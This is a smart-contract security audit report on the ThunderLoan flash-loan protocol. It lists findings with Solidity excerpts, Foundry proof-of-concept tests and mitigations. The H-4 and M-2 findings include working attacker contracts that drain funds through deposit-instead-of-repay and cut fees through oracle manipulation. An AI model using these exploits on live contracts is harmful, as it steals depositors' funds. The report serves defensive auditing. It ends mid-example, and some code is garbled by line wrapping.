



ThunderLoan Audit Report

Version 1.0

r00tSid.github.io

September 19, 2025

ThunderLoan Audit Report

r00tSid

September 19, 2025

Prepared by: r00tSid

Lead Auditors: - r00tSid

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * H-1 Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more than it really does, which blocks redemption and incorrectly sets the exchange rate.
 - * H-2 Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`
 - * H-3 Fee are less for non standard ERC20 Token

- ★ H-4 By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
- Medium
 - ★ M-1 `ThunderLoan::setAllowedToken` can permanently lock liquidity providers out from redeeming their tokens
 - ★ M-2 Attacker can minimize `ThunderLoan::flashLoan` fee via price oracle manipulation
 - ★ M-3 `ThunderLoan::deposit` is not compatible with Fee tokens and could be exploited by draining other users funds, Making Other user Looses there deposit and yield
- Low
 - ★ L-1 `getCalculatedFee` can be 0
 - ★ L-2 `updateFlashLoanFee()` missing event
 - ★ L-3 Mathematic Operations Handled Without Precision in `getCalculatedFee()` Function in `ThunderLoan.sol`

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can deposit assets into ThunderLoan and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The individual `r00tSid` made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Github Link: <https://github.com/Cyfrin/6-thunder-loan-audit>
- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
 - USDC
 - DAI
 - LINK
 - WETH

Scope

interfaces

- IFlashLoanReceiver.sol
- IPoolFactory.sol
- ITSwapPool.sol
- IThunderLoan.sol

protocol

- AssetToken.sol
- OracleUpgradeable.sol
- ThunderLoan.sol

upgradedProtocol

– ThunderLoanUpgraded.sol

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

There were 388 lines of code to audit in ThunderLoan and i had spent more than 6 hours and found 4 high vulnerabilities, 3 medium vulnerabilities and 3 low vulnerability.

Issues found

Severity	Number Of issues found
High	4
Medium	3
Low	3
Info	0
Total	10

Findings

HIGH:

[H-1] Erroneous ThunderLoan : :updateExchangeRate in the deposit function causes protocol to think it has more than it really does, which blocks redemption and incorrectly sets the exchange rate.

Description: The ThunderLoan protocol incorrectly calls AssetToken.updateExchangeRate before the underlying reserves are actually transferred in both the deposit and flashloan functions.

This causes the exchange rate to be updated as if the pool already holds more value than it truly does.

As a result:

- The protocol “thinks” LPs have earned more rewards.
- The exchange rate drifts upward without matching liquidity.
- `ThunderLoan::redeem()` can attempt to transfer more underlying tokens than the AssetToken actually holds, leading to redemption reverts and a reward manipulation vulnerability.

ThunderLoan.sol::deposit:

```
function deposit(address token, uint256 amount) external {
    AssetToken assetToken = getAssetFromToken(token);

    uint256 mintAmount = calculateMintAmount(token, amount);
    assetToken.mint(msg.sender, mintAmount);

    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee); // ❗ BUG: called before
    ↪ reserves increase

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

ThunderLoan.sol::flashloan:

```
function flashloan(address receiverAddress, address token, uint256 amount,
    ↪ bytes calldata params) external {
    AssetToken assetToken = getAssetFromToken(token);

    uint256 startingBalance = token.balanceOf(address(assetToken));
    uint256 fee = getCalculatedFee(token, amount);

    assetToken.updateExchangeRate(fee); // ❗ BUG: called before loan
    ↪ repayment

    emit FlashLoan(msg.sender, receiverAddress, token, amount, fee);

    s_currentlyFlashLoaning[token] = true;
    assetToken.transferUnderlyingTo(receiverAddress, amount);

    receiverAddress.functionCall(
```

```

↪ abi.encodeWithSignature("executeOperation(address,uint256,uint256,bytes)",
↪ token, amount, fee, params)
↪ );

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
    revert ThunderLoan__NotPaidBack(startingBalance + fee,
↪ endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}

```

Impact:

1. Reward Manipulation:

- Exchange rate increases without reserves → LP tokens appear more valuable than reality.
- LPs are shown inflated rewards.

2. Redemption Failures

- When LPs redeem, `redeem()` calculates an amount of underlying that exceeds actual reserves.
- Redemption reverts with:

```
ERC20InsufficientBalance(  
AssetToken, balance=10003000000000000000000,  
needed=10033009000000000000000000  
)
```

3. DoS Risk / Locked Liquidity:

- Liquidity providers can be blocked from withdrawing their funds.
- Attackers could trigger this condition by manipulating flashloans.

Proof of Concept: Add the foundry test in ThunderLoanTest.t.sol:

```
function testRewardManipulation() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
↪ amountToBorrow);

    // Simulate a flashloan
}
```

```
vm.startPrank(user);
tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
↪ amountToBorrow, "");
vm.stopPrank();

// Redemption should succeed, but reverts due to inflated exchange rate
vm.startPrank(liquidityProvider);
thunderLoan.redeem(tokenA, type(uint256).max); // ⚠ Reverts
vm.stopPrank();
}
```

Recommended Mitigation:

1. In ThunderLoan::deposit — transfer tokens before updating exchange rate.

```
function deposit(address token, uint256 amount) external {
    AssetToken assetToken = getAssetFromToken(token);

    uint256 mintAmount = calculateMintAmount(token, amount);

    uint256 calculatedFee = getCalculatedFee(token, amount);

    // ⚠ Transfer tokens first (reserves increase)
    token.safeTransferFrom(msg.sender, address(assetToken), amount);

    // ⚠ Mint AssetTokens after deposit
    assetToken.mint(msg.sender, mintAmount);

    // ⚠ Only then update exchange rate with actual backing
    assetToken.updateExchangeRate(calculatedFee);
}
```

2. In ThunderLoan::flashloan — update exchange rate after repayment succeeds.

```
function flashloan(address receiverAddress, address token, uint256 amount,
↪ bytes calldata params) external {
    AssetToken assetToken = getAssetFromToken(token);

    uint256 startingBalance = token.balanceOf(address(assetToken));
    uint256 fee = getCalculatedFee(token, amount);

    emit FlashLoan(msg.sender, receiverAddress, token, amount, fee);

    s_currentlyFlashLoaning[token] = true;
}
```



```
assetToken.transferUnderlyingTo(receiverAddress, amount);

receiverAddress.functionCall(
    ↪ abi.encodeWithSignature("executeOperation(address,uint256,uint256,bytes)",
    ↪ token, amount, fee, params)
);

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
    revert ThunderLoan__NotPaidBack(startingBalance + fee,
    ↪ endingBalance);
}

// ⚠ Now reserves include fee, safe to update exchange rate
assetToken.updateExchangeRate(fee);

s_currentlyFlashLoaning[token] = false;
}
```

[H-2] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning

Description: ThunderLoan.sol has two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the s_flashLoanFee will have the value of s_feePrecision. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the s_flashLoanFee will have the value of s_feePrecision. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the s_currentlyFlashLoaning mapping will start on the wrong storage slot.

Proof of Concept: Add the following code to the ThunderLoanTest.t.sol file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from
  ↪ "../src/upgradedProtocol/ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeTo(address(upgraded));
    uint256 feeAfterUpgrade = thunderLoan.getFee();

    assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
- uint256 private s_flashLoanFee; // 0.3% ETH fee
- uint256 public constant FEE_PRECISION = 1e18;
+ uint256 private s_blank;
+ uint256 private s_flashLoanFee;
+ uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] Fee are less for non standard ERC20 Token

Description: Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

`ThunderLoan.sol`:

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns
  ↪ (uint256 fee) {
    //slither-disable-next-line divide-before-multiply
    @> uint256 valueOfBorrowedToken = (amount *
    ↪ getPriceInWeth(address(token))) / s_feePrecision;
    @> //slither-disable-next-line divide-before-multiply
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

ThunderLoanUpgraded.sol:

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns
↳ (uint256 fee) {
    //slither-disable-next-line divide-before-multiply
    @> uint256 valueOfBorrowedToken = (amount *
    ↳ getPriceInWeth(address(token))) / FEE_PRECISION;
    //slither-disable-next-line divide-before-multiply
    @> fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
}
```

Impact: Let's say:

- user_1 asks a flashloan for 1 ETH.
- user_2 asks a flashloan for 2000 USDT.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns
↳ (uint256 fee) {

    //1 ETH = 1e18 WEI
    //2000 USDT = 2 * 1e9 WEI

    uint256 valueOfBorrowedToken = (amount *
    ↳ getPriceInWeth(address(token))) / s_feePrecision;

    // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
    // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI

    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

    //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
    //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,00000000000006 ETH
}
```

The fee for the user_2 are much lower then user_1 despite they asks a flashloan for the same value (hypotesis 1 ETH = 2000 USDT).

Recommended Mitigation: Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

[H-4] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

Description: An attacker can acquire a flash loan and deposit funds directly into the contract using the ThunderLoan::deposit, enabling stealing all the funds. Exploiting this vulnerability, an attacker can return the flash loan using the ThunderLoan::deposit instead of ThunderLoan::repay. This action allows the attacker to mint AssetToken and subsequently redeem it using ThunderLoan::redeem. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact: All the funds of the AssetContract can be stolen.

Proof of Concept: To execute the test successfully, please complete the following steps:

1. Place the attack.sol file within the mocks folder.
2. Import the contract in ThunderLoanTest.t.sol.
3. Add testattack() function in ThunderLoanTest.t.sol.
4. Change the setUp() function in ThunderLoanTest.t.sol.

```
import { Attack } from "../mocks/attack.sol";

function testattack() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    vm.startPrank(user);
    tokenA.mint(address(attack), AMOUNT);
    thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, "");

    ↪ attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA)));
    thunderLoan.redeem(tokenA, type(uint256).max);
    vm.stopPrank();

    as-
    ↪ serLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))),
    ↪ DEPOSIT_AMOUNT);
}

function setUp() public override {
    super.setUp();
    vm.prank(user);
    mockFlashLoanReceiver = new
    ↪ MockFlashLoanReceiver(address(thunderLoan));
    vm.prank(user);
    attack = new Attack(address(thunderLoan));
```

```
}
```

attack.sol:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from
    ↪ "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IFlashLoanReceiver } from
    ↪ "../src/interfaces/IFlashLoanReceiver.sol";

interface IThunderLoan {
    function repay(address token, uint256 amount) external;
    function deposit(IERC20 token, uint256 amount) external;
    function getAssetFromToken(IERC20 token) external;
}

contract Attack {
    error MockFlashLoanReceiver__onlyOwner();
    error MockFlashLoanReceiver__onlyThunderLoan();

    using SafeERC20 for IERC20;

    address s_owner;
    address s_thunderLoan;

    uint256 s_balanceDuringFlashLoan;
    uint256 s_balanceAfterFlashLoan;

    constructor(address thunderLoan) {
        s_owner = msg.sender;
        s_thunderLoan = thunderLoan;
        s_balanceDuringFlashLoan = 0;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata /* params */
    )

```

```
)
    external
    returns (bool)
{
    s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));

    if (initiator != s_owner) {
        revert MockFlashLoanReceiver__onlyOwner();
    }

    if (msg.sender != s_thunderLoan) {
        revert MockFlashLoanReceiver__onlyThunderLoan();
    }
    IERC20(token).approve(s_thunderLoan, amount + fee);
    IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
    s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
    return true;
}

function getbalanceDuring() external view returns (uint256) {
    return s_balanceDuringFlashLoan;
}

function getBalanceAfter() external view returns (uint256) {
    return s_balanceAfterFlashLoan;
}

function sendAssetToken(address assetToken) public {

    IERC20(assetToken).transfer(msg.sender,
        ↪ IERC20(assetToken).balanceOf(address(this)));
}
}
```

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registering the `block.number` in a variable in `flashloan()` and checking it in `deposit()`.

MEDIUM:**[M-1] ThunderLoan::setAllowedToken can permanently lock liquidity providers out from redeeming their tokens**

Description: If the ThunderLoan::setAllowedToken function is called with the intention of setting an allowed token to false and thus deleting the assetToken to token mapping; nobody would be able to redeem funds of that token in the ThunderLoan::redeem function and thus have them locked away without access. If the owner sets an allowed token to false, this deletes the mapping of the asset token to that ERC20. If this is done, and a liquidity provider has already deposited ERC20 tokens of that type, then the liquidity provider will not be able to redeem them in the ThunderLoan::redeem function.

```
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
↳ returns (AssetToken) {
    if (allowed) {
        if (address(s_tokenToAssetToken[token]) != address(0)) {
            revert ThunderLoan__AlreadyAllowed();
        }
        string memory name = string.concat("ThunderLoan ",
↳ IERC20Metadata(address(token)).name());
        string memory symbol = string.concat("tl",
↳ IERC20Metadata(address(token)).symbol());
        AssetToken assetToken = new AssetToken(address(this), token,
↳ name, symbol);
        s_tokenToAssetToken[token] = assetToken;
        emit AllowedTokenSet(token, assetToken, allowed);
        return assetToken;
    } else {
        AssetToken assetToken = s_tokenToAssetToken[token];
@> delete s_tokenToAssetToken[token];
        emit AllowedTokenSet(token, assetToken, allowed);
        return assetToken;
    }
}

function redeem(
    IERC20 token,
    uint256 amountOfAssetToken
)
    external
    revertIfZero(amountOfAssetToken)
@> revertIfNotAllowedToken(token)
```

```
{
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    if (amountOfAssetToken == type(uint256).max) {
        amountOfAssetToken = assetToken.balanceOf(msg.sender);
    }
    uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) /
    ↪ assetToken.EXCHANGE_RATE_PRECISION();
    emit Redeemed(msg.sender, token, amountOfAssetToken,
    ↪ amountUnderlying);
    assetToken.burn(msg.sender, amountOfAssetToken);
    assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
}
```

Impact:

The below test passes with a ThunderLoan__NotAllowedToken error. Proving that a liquidity provider cannot redeem their deposited tokens if the setAllowedToken is set to false, Locking them out of their tokens.

```
function testCannotRedeemNonAllowedTokenAfterDepositingToken() public {
    vm.prank(thunderLoan.owner());
    AssetToken assetToken = thunderLoan.setAllowedToken(tokenA, true);

    tokenA.mint(liquidityProvider, AMOUNT);
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), AMOUNT);
    thunderLoan.deposit(tokenA, AMOUNT);
    vm.stopPrank();

    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, false);

    ↪ vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotAllowedToken.selector,
    ↪ address(tokenA)));
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, AMOUNT_LESS);
    vm.stopPrank();
}
```

Recommended Mitigation:

It would be suggested to add a check if that assetToken holds any balance of the ERC20, if so, then you cannot remove the mapping.


```

    function setAllowedToken(IERC20 token, bool allowed) external onlyOwner
    ↪ returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ",
    ↪ IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl",
    ↪ IERC20Metadata(address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token,
    ↪ name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
    +         uint256 hasTokenBalance =
    ↪ IERC20(token).balanceOf(address(assetToken));
    +         if (hasTokenBalance == 0) {
                delete s_tokenToAssetToken[token];
                emit AllowedTokenSet(token, assetToken, allowed);
    +         }
            return assetToken;
        }
    }
}

```

[M-2] Attacker can minimize ThunderLoan::flashloan fee via price oracle manipulation

Description: In ThunderLoan::flashloan the price of the fee is calculated on line 192 using the method ThunderLoan::getCalculatedFee:

```
uint256 fee = getCalculatedFee(token, amount);
```

```

function getCalculatedFee(IERC20 token, uint256 amount) public view returns
    ↪ (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token)))
    ↪ / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }

```

`getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH:

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
    return TSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation.

If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`:

```
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) /
    ↪ s_feePrecision;
```

Since a value of 0 for the fee would revert as `assetToken.updateExchangeRate(fee)`; would revert since there is a check ensuring that the exchange rate increases, which with a 0 fee, the exchange rate would stay the same, hence the function will revert:

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
    // 1. Get the current exchange rate
    // 2. How big the fee is should be divided by the total supply
    // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange
    ↪ rate be multiplied by 1.5
    // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate
    ↪ should be multiplied by 1.125
    // it should always go up, never down
    // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply
    // newExchangeRate = 1 (4 + 0.5) / 4
    // newExchangeRate = 1.125
    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
    ↪ totalSupply();

    // newExchangeRate = s_exchangeRate + fee/totalSupply();

    if (newExchangeRate <= s_exchangeRate) {
```

```
        revert AssetToken__ExchangeRateCanOnlyIncrease(s_exchangeRate,  
↪ newExchangeRate);  
    }  
    s_exchangeRate = newExchangeRate;  
    emit ExchangeRateUpdated(s_exchangeRate);  
}
```

`flashloan()` can be reentered on line 201-210:

```
receiverAddress.functionCall(  
    abi.encodeWithSignature(  
        "executeOperation(address,uint256,uint256,address,bytes)",  
        address(token),  
        amount,  
        fee,  
        msg.sender,  
        params  
    )  
);
```

This means that an attacking contract can perform an attack by:

1. Calling `flashloan()` with a sufficiently small value for amount
2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executeOperation` callback
3. Re-calling `flashloan()` this time with a large value for amount but now the fee will be minimal, regardless of the size of the loan.
4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small 'fees for an arbitrarily large loan.

Impact:

An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either:

1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price.
2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small.

The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements.

Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding.

Proof of Concept: The attacking contract implements an `executeOperation` function which, when called via the ThunderLoan contract, will perform the following sequence of function calls:

- Calls the mock pool contract to set the price (simulating manipulating the price)
- Repay the initial loan
- Re-calls `flashLoan`, taking a large loan now with a reduced fee
- Repay second loan

```
// SPDX-License-Identifier: MIT
```

```
pragma solidity 0.8.20;
```

```
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
```

```
import { SafeERC20 } from
```

```
    ↳ "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
```

```
import { IFlashLoanReceiver, IThunderLoan } from
```

```
    ↳ "../src/interfaces/IFlashLoanReceiver.sol";
```

```
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
```

```
import { MockTSwapPool } from "../MockTSwapPool.sol";
```

```
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
```

```
contract AttackFlashLoanReceiver {
```

```
    error AttackFlashLoanReceiver__onlyOwner();
```

```
    error AttackFlashLoanReceiver__onlyThunderLoan();
```

```
    using SafeERC20 for IERC20;
```

```
    address s_owner;
```

```
    address s_thunderLoan;
```

```
    uint256 s_balanceDuringFlashLoan;
```

```
    uint256 s_balanceAfterFlashLoan;
```

```
    uint256 public attackAmount = 1e20;
```

```
    uint256 public attackFee1;
```

```
    uint256 public attackFee2;
```

```
    address tSwapPool;
```

```
    IERC20 tokenA;
```

```
    constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) {
```

```
        s_owner = msg.sender;
```

```
        s_thunderLoan = thunderLoan;
```

```
s_balanceDuringFlashLoan = 0;
tSwapPool = _tSwapPool;
tokenA = _tokenA;
}

function executeOperation(
    address token,
    uint256 amount,
    uint256 fee,
    address initiator,
    bytes calldata params
)
    external
    returns (bool)
{
    s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));

    // check if it is the first time through the reentrancy
    bool isFirst = abi.decode(params, (bool));

    if (isFirst) {
        // Manipulate the price
        MockTSwapPool(tSwapPool).setPrice(1e15);
        // repay the initial, small loan
        IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6);
        IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 +
            ↪ attackFee1);
        ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA,
            ↪ attackAmount, abi.encode(false));
        attackFee1 = fee;
        return true;
    } else {
        attackFee2 = fee;
        // simulate withdrawing the funds from the price pool
        //MockTSwapPool(tSwapPool).setPrice(1e18);
        // repay the second, large low fee loan
        IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2);
        IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount
            ↪ + attackFee2);
        return true;
    }
}
```

```
function getbalanceDuring() external view returns (uint256) {
    return s_balanceDuringFlashLoan;
}

function getBalanceAfter() external view returns (uint256) {
    return s_balanceAfterFlashLoan;
}
}
```

The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack.

```
function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits {
    uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price();
    console.log("price before: ", price);
    // borrow a large amount to perform the price oracle manipulation
    uint256 amountToBorrow = 1e6;
    bool isFirstCall = true;
    bytes memory params = abi.encode(isFirstCall);

    uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA,
    ↪ attackFlashLoanReceiver.attackAmount());

    // Give the attacking contract reserve tokens for the price oracle
    ↪ manipulation & paying fees
    // For a less funded attacker, they could use the initial flash loan to
    ↪ perform the manipulation but pay a higher initial fee
    tokenA.mint(address(attackFlashLoanReceiver), AMOUNT);

    vm.startPrank(user);
    thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA,
    ↪ amountToBorrow, params);
    vm.stopPrank();
    assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2());
    uint256 priceAfter =
    ↪ MockTSwapPool(tokenToPool[address(tokenA)]).price();
    console.log("price after: ", priceAfter);

    console.log("expectedSecondFee: ", expectedSecondFee);
    console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2());
    console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1());
}

$ forge test --mt test_poc_smallFeeReentrancy -vvvv
```

```
// output
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] test_poc_smallFeeReentrancy( ) (gas: 1162442)
Logs:
  price before: 10000000000000000000
  price after: 10000000000000000000
  expectedSecondFee: 3000000000000000000
  attackFee2: 3000000000000000000
  attackFee1: 3000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms
```

Since the test passed, the fee has been successfully reduced due to price oracle manipulation.

Recommended Mitigation:

Use a manipulation-resistant oracle such as Chainlink.

[M-3] ThunderLoan:: deposit is not compatible with Fee tokens and could be exploited by draining other users funds, Making Other user Loses there deposit and yield

Description: deposit function do not account the amount for fee tokens, which leads to minting more Asset tokens. These tokens can be used to claim more tokens of underlying asset then it's supposed to be. Some ERC20 tokens have fees implemented like autoLP Fee, marketing fee etc. So when someone send say 100 tokens and fees 0.3%, then receiver will get only 99.7 tokens.

Deposit function mint the tokens that user has inputted in the params and mint the same amount of Asset token.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
↪ revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    @> uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
↪ / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

As you can see in highlighted line, It calculates the token amount based on amount rather actual token amount received by the contract. If any fees token is supplied to contract, then redeem function

will revert (due to insufficient funds) or if there are multiple users who supplied this token, then some users won't be able to withdraw their underlying token ever.

Impact: Loss of user funds

Proof of Concept: Token like STA and PAXG has fees on every transfer which means token receiver will receive less token amount than the amount being sent. Let's consider example of STA here which has 1% fees on every transfer. When user put 100 tokens as input, then contract will receive only 99 tokens, as 1% being goes to burn address (as per STA token contract design). User will be getting Asset token amount based on input amount.

```
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /  
    ↪ exchangeRate;
```

Alice initiate a transaction to call `deposit` with 1 million STA. Attacker notice the transaction and `deposit` 2 million STA before him. So contract will be receive 990,000 tokens from Alice and 198,000 tokens from attacker.

Now attacker call `withdraw` the STA token using all Asset tokens amount he received while depositing. Attacker get's 1% more than he supposed to be, As fee is deducted from contract. Alice won't be able to claim her underlying amount that she supposed to be. It make more sense for attacker to call it, as token fee is being accrued to him.

Here is given example in foundry where we set asset token which has 1% fees. in `BaseTest.t.sol` we import custom `erc20` for underlying token creation which has 1% fees on transfers.

CUSTOM MOCK TOKEN

```
// SPDX-License-Identifier: MIT  
pragma solidity ^0.8.0;
```

```
import {ERC20} from "../token/ERC20/ERC20.sol";
```

```
contract CustomERC20Mock is ERC20 {  
    constructor() ERC20("ERC20Mock", "E20M") {}  
  
    function mint(address account, uint256 amount) external {  
        _mint(account, amount);  
    }  
  
    function burn(address account, uint256 amount) external {  
